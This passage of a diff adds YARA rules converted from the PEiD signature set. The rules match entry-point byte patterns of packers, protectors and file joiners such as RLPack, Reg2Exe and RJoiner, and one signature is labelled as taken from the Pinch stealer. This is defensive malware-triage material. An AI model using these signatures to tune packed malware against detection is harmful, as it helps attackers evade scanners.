+        $a at pe.entry_point
+}
+
+rule PEiD_01947_REC__C0ded_by_ROSE_
+{
+    meta:
+        description = "[REC, C0ded by ROSE]"
+        ep_only = "true"
+    strings:
+        $a = {06 1E 0E 0E 07 1F B4 30 CD 21 86 E0 3D 00 03 73 ?? CD 20 EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01948_REC_Small_v1_02_
+{
+    meta:
+        description = "[REC.Small v1.02]"
+        ep_only = "true"
+    strings:
+        $a = {8C D8 1E E8 ?? ?? 83 ?? ?? 5D B9 ?? ?? 81 ?? ?? ?? 40 8E D8 2B DB B2 ?? ?? ?? FE C2 43 83}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01949_Reflexive_Arcade_Wrapper_
+{
+    meta:
+        description = "[Reflexive Arcade Wrapper]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 98 68 42 00 68 14 FA 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 F8 50 42 00 33 D2 8A D4 89 15 3C E8 42 00 8B C8 81 E1 FF 00 00 00 89 0D 38 E8 42 00 C1 E1 08 03 CA 89 0D 34 E8 42 00 C1 E8 10 A3 30 E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01950_Reflexive_Arcade_Wrapper_
+{
+    meta:
+        description = "[Reflexive Arcade Wrapper]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 98 68 42 00 68 14 FA 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 F8 50 42 00 33 D2 8A D4 89 15 3C E8 42 00 8B C8 81 E1 FF 00 00 00 89 0D 38 E8 42 00 C1 E1 08 03 CA 89 0D 34 E8 42 00 C1 E8 10 A3 30 E8 42 00 33 F6 56 E8 58 43 00 00 59 85 C0 75 08 6A 1C E8 B0 00 00 00 59 89 75 FC E8 23 40 00 00 FF 15 18 51 42 00 A3 44 FE 42 00 E8 E1 3E 00 00 A3 78 E8 42 00 E8 8A 3C 00 00 E8 CC 3B 00 00 E8 3E F5 FF FF 89 75 D0 8D 45 A4 50 FF 15 14 51 42 00 E8 5D 3B 00 00 89 45 9C F6 45 D0 01 74 06 0F B7 45 D4 EB 03 6A 0A 58 50 FF 75 9C 56 56 FF 15 10 51 42 00 50 E8 0D 6E FE FF 89 45 A0 50 E8 2C F5 FF FF 8B 45 EC 8B 08 8B 09 89 4D 98 50 51 E8 9B 39 00 00 59 59 C3 8B 65 E8 FF 75 98 E8 1E F5 FF FF 83 3D 80 E8 42 00 01 75 05 E8 F3 43 00 00 FF 74 24 04 E8 23 44 00 00 68 FF 00 00 00 FF 15 B0 B8 42 00 59 59 C3 83 3D 80 E8 42 00 01 75 05 E8 CE 43 00 00 FF 74 24 04 E8 FE 43 00 00 59 68 FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01951_Reg2Exe_2_20_2_21___by_Jan_Vorel_
+{
+    meta:
+        description = "[Reg2Exe 2.20/2.21 - by Jan Vorel]"
+        ep_only = "true"
+    strings:
+        $a = {6A 00 E8 7D 12 00 00 A3 A0 44 40 00 E8 79 12 00 00 6A 0A 50 6A 00 FF 35 A0 44 40 00 E8 0F 00 00 00 50 E8 69 12 00 00 CC CC CC CC CC CC CC CC CC 68 2C 02 00 00 68 00 00 00 00 68 B0 44 40 00 E8 3A 12 00 00 83 C4 0C 8B 44 24 04 A3 B8 44 40 00 68 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01952_Reg2Exe_2_20_2_21___by_Jan_Vorel_
+{
+    meta:
+        description = "[Reg2Exe 2.20/2.21 - by Jan Vorel]"
+        ep_only = "true"
+    strings:
+        $a = {6A 00 E8 7D 12 00 00 A3 A0 44 40 00 E8 79 12 00 00 6A 0A 50 6A 00 FF 35 A0 44 40 00 E8 0F 00 00 00 50 E8 69 12 00 00 CC CC CC CC CC CC CC CC CC 68 2C 02 00 00 68 00 00 00 00 68 B0 44 40 00 E8 3A 12 00 00 83 C4 0C 8B 44 24 04 A3 B8 44 40 00 68 00 00 00 00 68 A0 0F 00 00 68 00 00 00 00 E8 32 12 00 00 A3 B0 44 40 00 68 F4 01 00 00 68 BC 44 40 00 FF 35 B8 44 40 00 E8 1E 12 00 00 B8 BC 44 40 00 89 C1 8A 30 40 80 FE 5C 75 02 89 C1 80 FE 00 75 F1 C6 01 00 E8 EC 18 00 00 E8 28 16 00 00 E8 4A 12 00 00 68 00 FA 00 00 68 08 00 00 00 FF 35 B0 44 40 00 E8 E7 11 00 00 A3 B4 44 40 00 8B 15 D4 46 40 00 E8 65 0A 00 00 BB 00 00 10 00 B8 01 00 00 00 E8 72 0A 00 00 74 09 C7 00 01 00 00 00 83 C0 04 A3 D4 46 40 00 FF 35 B4 44 40 00 E8 26 05 00 00 8D 0D B8 46 40 00 5A E8 CF 0F 00 00 FF 35 B4 44 40 00 FF 35 B8 46 40 00 E8 EE 06 00 00 8D 0D B4 46 40 00 5A E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01953_Reg2Exe_2_22_2_23___by_Jan_Vorel_
+{
+    meta:
+        description = "[Reg2Exe 2.22/2.23 - by Jan Vorel]"
+        ep_only = "true"
+    strings:
+        $a = {6A 00 E8 2F 1E 00 00 A3 C4 35 40 00 E8 2B 1E 00 00 6A 0A 50 6A 00 FF 35 C4 35 40 00 E8 07 00 00 00 50 E8 1B 1E 00 00 CC 68 48 00 00 00 68 00 00 00 00 68 C8 35 40 00 E8 76 16 00 00 83 C4 0C 8B 44 24 04 A3 CC 35 40 00 68 00 00 00 00 68 A0 0F 00 00 68 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01954_Reg2Exe_2_22_2_23___by_Jan_Vorel_
+{
+    meta:
+        description = "[Reg2Exe 2.22/2.23 - by Jan Vorel]"
+        ep_only = "true"
+    strings:
+        $a = {6A 00 E8 2F 1E 00 00 A3 C4 35 40 00 E8 2B 1E 00 00 6A 0A 50 6A 00 FF 35 C4 35 40 00 E8 07 00 00 00 50 E8 1B 1E 00 00 CC 68 48 00 00 00 68 00 00 00 00 68 C8 35 40 00 E8 76 16 00 00 83 C4 0C 8B 44 24 04 A3 CC 35 40 00 68 00 00 00 00 68 A0 0F 00 00 68 00 00 00 00 E8 EC 1D 00 00 A3 C8 35 40 00 E8 62 1D 00 00 E8 92 1A 00 00 E8 80 16 00 00 E8 13 14 00 00 68 01 00 00 00 68 08 36 40 00 68 00 00 00 00 8B 15 08 36 40 00 E8 71 3F 00 00 B8 00 00 10 00 BB 01 00 00 00 E8 82 3F 00 00 FF 35 48 31 40 00 B8 00 01 00 00 E8 0D 13 00 00 8D 0D EC 35 40 00 5A E8 F2 13 00 00 68 00 01 00 00 FF 35 EC 35 40 00 E8 84 1D 00 00 A3 F4 35 40 00 FF 35 48 31 40 00 FF 35 F4 35 40 00 FF 35 EC 35 40 00 E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01955_Reg2Exe_2_24___by_Jan_Vorel_
+{
+    meta:
+        description = "[Reg2Exe 2.24 - by Jan Vorel]"
+        ep_only = "true"
+    strings:
+        $a = {6A 00 E8 CF 20 00 00 A3 F4 45 40 00 E8 CB 20 00 00 6A 0A 50 6A 00 FF 35 F4 45 40 00 E8 07 00 00 00 50 E8 BB 20 00 00 CC 68 48 00 00 00 68 00 00 00 00 68 F8 45 40 00 E8 06 19 00 00 83 C4 0C 8B 44 24 04 A3 FC 45 40 00 68 00 00 00 00 68 A0 0F 00 00 68 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01956_Reg2Exe_2_24___by_Jan_Vorel_
+{
+    meta:
+        description = "[Reg2Exe 2.24 - by Jan Vorel]"
+        ep_only = "true"
+    strings:
+        $a = {6A 00 E8 CF 20 00 00 A3 F4 45 40 00 E8 CB 20 00 00 6A 0A 50 6A 00 FF 35 F4 45 40 00 E8 07 00 00 00 50 E8 BB 20 00 00 CC 68 48 00 00 00 68 00 00 00 00 68 F8 45 40 00 E8 06 19 00 00 83 C4 0C 8B 44 24 04 A3 FC 45 40 00 68 00 00 00 00 68 A0 0F 00 00 68 00 00 00 00 E8 8C 20 00 00 A3 F8 45 40 00 E8 02 20 00 00 E8 32 1D 00 00 E8 20 19 00 00 E8 A3 16 00 00 68 01 00 00 00 68 38 46 40 00 68 00 00 00 00 8B 15 38 46 40 00 E8 71 4F 00 00 B8 00 00 10 00 BB 01 00 00 00 E8 82 4F 00 00 FF 35 48 41 40 00 B8 00 01 00 00 E8 9D 15 00 00 8D 0D 1C 46 40 00 5A E8 82 16 00 00 68 00 01 00 00 FF 35 1C 46 40 00 E8 24 20 00 00 A3 24 46 40 00 FF 35 48 41 40 00 FF 35 24 46 40 00 FF 35 1C 46 40 00 E8 DC 10 00 00 8D 0D 14 46 40 00 5A E8 4A 16}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01957_Reg2Exe_2_25___by_Jan_Vorel_
+{
+    meta:
+        description = "[Reg2Exe 2.25 - by Jan Vorel]"
+        ep_only = "true"
+    strings:
+        $a = {68 68 00 00 00 68 00 00 00 00 68 70 7D 40 00 E8 AE 20 00 00 83 C4 0C 68 00 00 00 00 E8 AF 52 00 00 A3 74 7D 40 00 68 00 00 00 00 68 00 10 00 00 68 00 00 00 00 E8 9C 52 00 00 A3 70 7D 40 00 E8 24 50 00 00 E8 E2 48 00 00 E8 44 34 00 00 E8 54 28 00 00 E8 98}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01958_Reg2Exe_2_25___by_Jan_Vorel_
+{
+    meta:
+        description = "[Reg2Exe 2.25 - by Jan Vorel]"
+        ep_only = "true"
+    strings:
+        $a = {68 68 00 00 00 68 00 00 00 00 68 70 7D 40 00 E8 AE 20 00 00 83 C4 0C 68 00 00 00 00 E8 AF 52 00 00 A3 74 7D 40 00 68 00 00 00 00 68 00 10 00 00 68 00 00 00 00 E8 9C 52 00 00 A3 70 7D 40 00 E8 24 50 00 00 E8 E2 48 00 00 E8 44 34 00 00 E8 54 28 00 00 E8 98 27 00 00 E8 93 20 00 00 68 01 00 00 00 68 D0 7D 40 00 68 00 00 00 00 8B 15 D0 7D 40 00 E8 89 8F 00 00 B8 00 00 10 00 68 01 00 00 00 E8 9A 8F 00 00 FF 35 A4 7F 40 00 68 00 01 00 00 E8 3A 23 00 00 8D 0D A8 7D 40 00 5A E8 5E 1F 00 00 FF 35 A8 7D 40 00 68 00 01 00 00 E8 2A 52 00 00 A3 B4 7D 40 00 FF 35 A4 7F 40 00 FF 35 B4 7D 40 00 FF 35 A8 7D 40 00 E8 5C 0C 00 00 8D 0D A0 7D 40 00 5A E8 26 1F 00 00 FF 35}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01959_ReversingLabsProtector_0_7_4_beta____Ap0x_
+{
+    meta:
+        description = "[ReversingLabsProtector 0.7.4 beta -> Ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {68 00 00 41 00 E8 01 00 00 00 C3 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01960_RJcrush_v1_00_
+{
+    meta:
+        description = "[RJcrush v1.00]"
+        ep_only = "true"
+    strings:
+        $a = {06 FC 8C C8 BA ?? ?? 03 D0 52 BA ?? ?? 52 BA ?? ?? 03 C2 8B D8 05 ?? ?? 8E DB 8E C0 33 F6 33 FF B9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01961_RJoiner_1_2_by_Vaska__25_03_2007_16_58__
+{
+    meta:
+        description = "[RJoiner 1.2 by Vaska (25.03.2007 16:58)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 0C 02 00 00 8D 85 F4 FD FF FF 56 50 68 04 01 00 00 FF 15 14 10 40 00 90 8D 85 F4 FD FF FF 50 FF 15 10 10 40 00 90 BE 00 20 40 00 90 83 3E FF 0F 84 84 00 00 00 53 57 33 FF 8D 46}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01962_RJoiner_1_2a____Vaska_
+{
+    meta:
+        description = "[RJoiner 1.2a -> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 0C 01 00 00 8D 85 F4 FE FF FF 56 50 68 04 01 00 00 FF 15 0C 10 40 00 94 90 94 8D 85 F4 FE FF FF 50 FF 15 08 10 40 00 94 90 94 BE 00 20 40 00 94 90 94 83 3E FF 74 7D 53 57 33 DB 8D 7E 04 94 90 94 53 68 80 00 00 00 6A 02 53 6A 01 68 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01963_RJoiner_1_2a____Vaska_
+{
+    meta:
+        description = "[RJoiner 1.2a -> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 0C 01 00 00 8D 85 F4 FE FF FF 56 50 68 04 01 00 00 FF 15 0C 10 40 00 94 90 94 8D 85 F4 FE FF FF 50 FF 15 08 10 40 00 94 90 94 BE 00 20 40 00 94 90 94 83 3E FF 74 7D 53 57 33 DB 8D 7E 04 94 90 94 53 68 80 00 00 00 6A 02 53 6A 01 68 00 00 00 C0 57 FF 15 04 10 40 00 89 45 F8 94 90 94 8B 06 8D 74 06 04 94 90 94 8D 45 FC 53 50 8D 46 04 FF 36 50 FF 75 F8 FF 15 00 10 40 00 94 90 94 FF 75 F8 FF 15 10 10 40 00 94 90 94 8D 85 F4 FE FF FF 6A 0A 50 53 57 68 20 10 40 00 53 FF 15 18 10 40 00 94 90 94 8B 06 8D 74 06 04 94 90 94 83 3E FF 75 89 5F 5B 33 C0 5E C9 C2 10 00 CC CC 24 11}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01964_RJoiner_by_Vaska__Sign_from_pinch_25_03_2007_17_00__
+{
+    meta:
+        description = "[RJoiner by Vaska (Sign from pinch 25.03.2007 17:00)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 03 FD FF FF 6A 00 E8 0C 00 00 00 FF 25 6C 10 40 00 FF 25 70 10 40 00 FF 25 74 10 40 00 FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01965_RLP_0_7_3beta____ap0x__h__
+{
+    meta:
+        description = "[RLP 0.7.3beta -> ap0x (h)]"
+        ep_only = "false"
+    strings:
+        $a = {60 8B DD E8 00 00 00 00 5D 95 32 C0 95 89 9D 80 00 00 00 B8 42 31 40 00 BB 41 30 40 00 2B C3 03 C5 33 D2 8A 10 40 B9 ?? ?? 00 00 8B F9 30 10 8A 10 40 49 75 F8 64 EF 86 3D 30 00 00 0F B9 FF 4B 89 52 5C 4C BD 77 C2 0C CE 88 4E 2D E8 00 00 00 5D 0D DB 5E 56}
+    condition:
+        $a
+}
+
+rule PEiD_01966_RLP_V0_7_3_beta____ap0x___Sign_by_fly_
+{
+    meta:
+        description = "[RLP V0.7.3.beta -> ap0x ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {2E 72 6C 70 00 00 00 00 00 50 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 E0}
+    condition:
+        $a
+}
+
+rule PEiD_01967_RLP_v0_7_3beta____ap0x__h__
+{
+    meta:
+        description = "[RLP v0.7.3beta -> ap0x (h)]"
+        ep_only = "false"
+    strings:
+        $a = {60 8B DD E8 00 00 00 00 5D 95 32 C0 95 89 9D 80 00 00 00 B8 42 31 40 00 BB 41 30 40 00 2B C3 03 C5 33 D2 8A 10 40 B9 ?? ?? 00 00 8B F9 30 10 8A 10 40 49 75 F8 64 EF 86 3D 30 00 00 0F B9 FF 4B 89 52 5C 4C BD 77 C2 0C CE 88 4E 2D E8 00 00 00 5D 0D DB 5E 56 41 87 FC 0F F3 05 40 81 68 4B 93 71 40 BB 87 3C 40 40 8B 88 06 75 70 40 40 8B BB B3 43 C4 8F 93 2B F3 4A 88 06 07 30 F5 EA 2A 35 F0 4B 8A C3 07 C1 C6 02 C4 34 C0 74 74 32 02 C4 45 0B 3C 96 BE 0A 82 C3 DE 36 A9 7E 5A 51 A6 BC 63 A8 66 CB 30 58 20 8C CC 85 53 9F C1 E4 10 80 11 20 1E 48 D2 E8 F7 28 5C 26 89 5C 94 89 5A F8 1C 0B 74 7E 33 4E 9B 29 56 F2 2B 84 42 8A 95 16 76 64 08 7B 70 8F A0 0B A8 3A C1 C7 B5 3E D9 70}
+    condition:
+        $a
+}
+rule PEiD_01968_RLPack_____Ap0x_
+{
+    meta:
+        description = "[RLPack --> Ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 2C 0A 00 00 8D 9D 22 02 00 00 33 FF E8 83 01 00 00 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 CD 09 00 00 89 85 14 0A 00 00 EB 14 60 FF B5 14 0A}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01969_RLPack_____Ap0x_
+{
+    meta:
+        description = "[RLPack --> Ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 5A 0A 00 00 8D 9D 40 02 00 00 33 FF E8 83 01 00 00 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 EB 09 00 00 89 85 3A 0A 00 00 EB 14 60 FF B5 3A 0A}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01970_RLPack_____Ap0x_
+{
+    meta:
+        description = "[RLPack --> Ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 EB 03 0C 00 00 EB 03 0C 00 00 8D B5 CB 22 00 00 8D 9D F0 02 00 00 33 FF E8 47 02 00 00 EB 03 15 00 00 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 9B 0A}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01971_RLPack____Ap0x_
+{
+    meta:
+        description = "[RLPack -> Ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 2C 0A 00 00 8D 9D 22 02 00 00 33 FF E8 ?? ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 CD 09 00 00 89 85 ?? ?? ?? ?? EB 14 60 FF B5 14 0A}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01972_RLPack____Ap0x_
+{
+    meta:
+        description = "[RLPack -> Ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 5A 0A 00 00 8D 9D 40 02 00 00 33 FF E8 ?? ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 EB 09 00 00 89 85 ?? ?? ?? ?? EB 14 60 FF B5 3A 0A}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01973_RLPack____Ap0x_
+{
+    meta:
+        description = "[RLPack -> Ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 EB 03 ?? ?? ?? EB 03 ?? ?? ?? 8D B5 CB 22 00 00 8D 9D F0 02 00 00 33 FF E8 ?? ?? ?? ?? EB 03 ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 9B 0A}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01974_RLPack_1_0_beta____ap0x__h__
+{
+    meta:
+        description = "[RLPack 1.0 beta -> ap0x (h)]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8D 64 24 04 8B 6C 24 FC 8D B5 4C 02 00 00 8D 9D 13 01 00 00 33 FF EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 F9 01 00 00 89 85 48 02 00 00 5B FF B5 48 02 00 00 56 FF D3 83 C4 08 8B B5 48 02 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 83 C0 04 89 85 44 02 00 00 EB 7A 56 FF 95 F1 01 00 00 89 85 40 02 00 00 8B C6 EB 4F 8B 85 44 02 00 00 8B 00 A9 00 00 00 80 74 14 35 00 00 00 80 50 8B 85 44 02 00 00 C7 00 20 20 20 00 EB 06 FF B5 44 02 00 00 FF B5 40 02 00 00 FF 95 F5 01 00 00 89 07 83 C7 04 8B 85 44 02 00 00 EB 01 40 80 38 00 75 FA 40 89 85 44 02 00 00 80 38 00 75 AC EB 01 46 80 3E 00 75 FA 46 40 8B 38 83 C0 04 89 85 44 02 00 00 80 3E 01 75 81 68 00 40 00 00 68 ?? ?? ?? ?? FF B5 48 02 00 00 FF 95 FD 01 00 00 61 68 ?? ?? ?? ?? C3 60 8B 74 24 24 8B 7C}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01975_RLPack_1_0_beta____ap0x_
+{
+    meta:
+        description = "[RLPack 1.0 beta -> ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8D 64 24 04 8B 6C 24 FC 8D B5 4C 02 00 00 8D 9D 13 01 00 00 33 FF EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB 8D 74 37 04 53 6A 40 68 00 10 00 00 68}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01976_RLPack_1_0_beta____ap0x_
+{
+    meta:
+        description = "[RLPack 1.0 beta -> ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8D 64 24 04 8B 6C 24 FC 8D B5 4C 02 00 00 8D 9D 13 01 00 00 33 FF EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 F9 01 00 00 89 85 48 02 00 00 5B FF B5}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01977_RLPack_1_1_BasicEdition____ap0x_
+{
+    meta:
+        description = "[RLPack 1.1 BasicEdition -> ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 4A 02 00 00 8D 9D 11 01 00 00 33 FF EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB 8D 74 37 04 53 6A 40 68 00 10 00 00 68}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01978_RLPack_1_16__aPLib_compression_____ap0x__h__
+{
+    meta:
+        description = "[RLPack 1.16 (aPLib compression) -> ap0x (h)]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 53 03 00 00 8D 9D 02 02 00 00 33 FF E8 45 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 E8 02 00 00 89 85 4F 03 00 00 5B FF B5 4F 03 00 00 56 FF D3 83 C4 08 8B B5 4F 03 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 E8 CD 00 00 00 83 C0 04 89 85 4B 03 00 00 E9 93 00 00 00 56 FF 95 E0 02 00 00 85 C0 0F 84 AE 00 00 00 89 85 47 03 00 00 8B C6 EB 5B 8B 85 4B 03 00 00 8B 00 A9 00 00 00 80 74 14 35 00 00 00 80 50 8B 85 4B 03 00 00 C7 00 20 20 20 00 EB 06 FF B5 4B 03 00 00 FF B5 47 03 00 00 FF 95 E4 02 00 00 85 C0 74 6B 89 07 83 C7 04 8B}
+    condition:
+        $a
+}
+
+rule PEiD_01979_RLPack_1_16__LZMA_compression_____ap0x__h__
+{
+    meta:
+        description = "[RLPack 1.16 (LZMA compression) -> ap0x (h)]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 5A 0A 00 00 8D 9D 40 02 00 00 33 FF E8 83 01 00 00 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 EB 09 00 00 89 85 3A 0A 00 00 EB 14 60 FF B5 3A 0A 00 00 FF 34 37 FF 74 37 04 FF D3 61 83 C7 08 83 3C 37 00 75 E6 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 EB 09 00 00 89 85 56 0A 00 00 5B 60 FF B5 3A 0A 00 00 56 FF B5 56 0A 00 00 FF D3 61 8B B5 56 0A 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 E8 E7 00 00 00 83 C0 04 89 85 52 0A 00 00 E9 97 00 00 00 56 FF 95 E3 09 00 00 89 85 4E 0A 00 00 85 C0 0F 84 C2}
+    condition:
+        $a
+}
+
+rule PEiD_01980_RLPack_1_17__
+{
+    meta:
+        description = "[RLPack 1.17+]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? 00 00 8D 9D ?? ?? 00 00 33 FF E8 ?? ?? ?? ?? EB 0F FF 74 37 04 FF 34 37 FF D3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01981_RLPack_1_18__aPlib_0_43_____ap0x_
+{
+    meta:
+        description = "[RLPack 1.18 (aPlib 0.43) -> ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 ?? 8D B5 1A 04 00 00 8D 9D C1 02 00 00 33 FF E8 61 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 ?? 83 C7 ?? 83 3C 37 00 75 EB 83 BD 06 04 00 00 00 74 0E 83 BD 0A 04 00 00 00 74 05 E8 D7 01 00 00 8D 74 37 04 53 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 A7 03 00 00 89 85 16 04 00 00 5B FF B5 16 04 00 00 56 FF D3 83 C4 ?? 8B B5 16 04 00 00 8B C6 EB 01}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01982_RLPack_1_18__LZMA_4_30_____ap0x_
+{
+    meta:
+        description = "[RLPack 1.18 (LZMA 4.30) -> ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 ?? 8D B5 21 0B 00 00 8D 9D FF 02 00 00 33 FF E8 9F 01 00 00 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 AA 0A 00 00 89 85 F9 0A 00 00 EB 14 60 FF B5 F9 0A 00 00 FF 34 37 FF 74 37 04 FF D3 61 83 C7 ?? 83 3C 37 00 75 E6 83 BD 0D 0B 00 00 00 74 0E 83 BD 11 0B 00 00 00 74 05 E8 F6 01 00 00 8D 74 37 04 53 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 AA 0A 00 00 89 85 1D 0B 00 00 5B 60 FF B5 F9 0A 00 00 56 FF B5 1D 0B 00 00 FF D3 61 8B B5 1D 0B 00 00 8B C6 EB 01}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01983_RLPack_1_18_Dll__aPlib_0_43_____ap0x_
+{
+    meta:
+        description = "[RLPack 1.18 Dll (aPlib 0.43) -> ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 5C 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 ?? 8D B5 1A 04 00 00 8D 9D C1 02 00 00 33 FF E8 61 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 ?? 83 C7 ?? 83 3C 37 00 75 EB 83 BD 06 04 00 00 00 74 0E 83 BD 0A 04 00 00 00 74 05 E8 D7 01 00 00 8D 74 37 04 53 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 95 A7 03 00 00 89 85 16 04 00 00 5B FF B5 16 04 00 00 56 FF D3 83 C4 ?? 8B B5 16 04 00 00 8B C6 EB 01}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01984_RLPack_1_18_Dll__LZMA_4_30_____ap0x_
+{
+    meta:
+        description = "[RLPack 1.18 Dll (LZMA 4.30) -> ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 ?? 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF E8 9F 01 00 00 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 95 AA 0A 00 00 89 85 F9 0A 00 00 EB 14 60 FF B5 F9 0A 00 00 FF 34 37 FF 74 37 04 FF D3 61 83 C7 08 83 3C 37 00 75 E6 83 BD 0D 0B 00 00 00 74 0E 83 BD 11 0B 00 00 00 74 05 E8 F6 01 00 00 8D 74 37 04 53 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 95 AA 0A 00 00 89 85 1D 0B 00 00 5B 60 FF B5 F9 0A 00 00 56 FF B5 1D 0B 00 00 FF D3 61 8B B5 1D 0B 00 00 8B C6 EB 01}
+    condition:
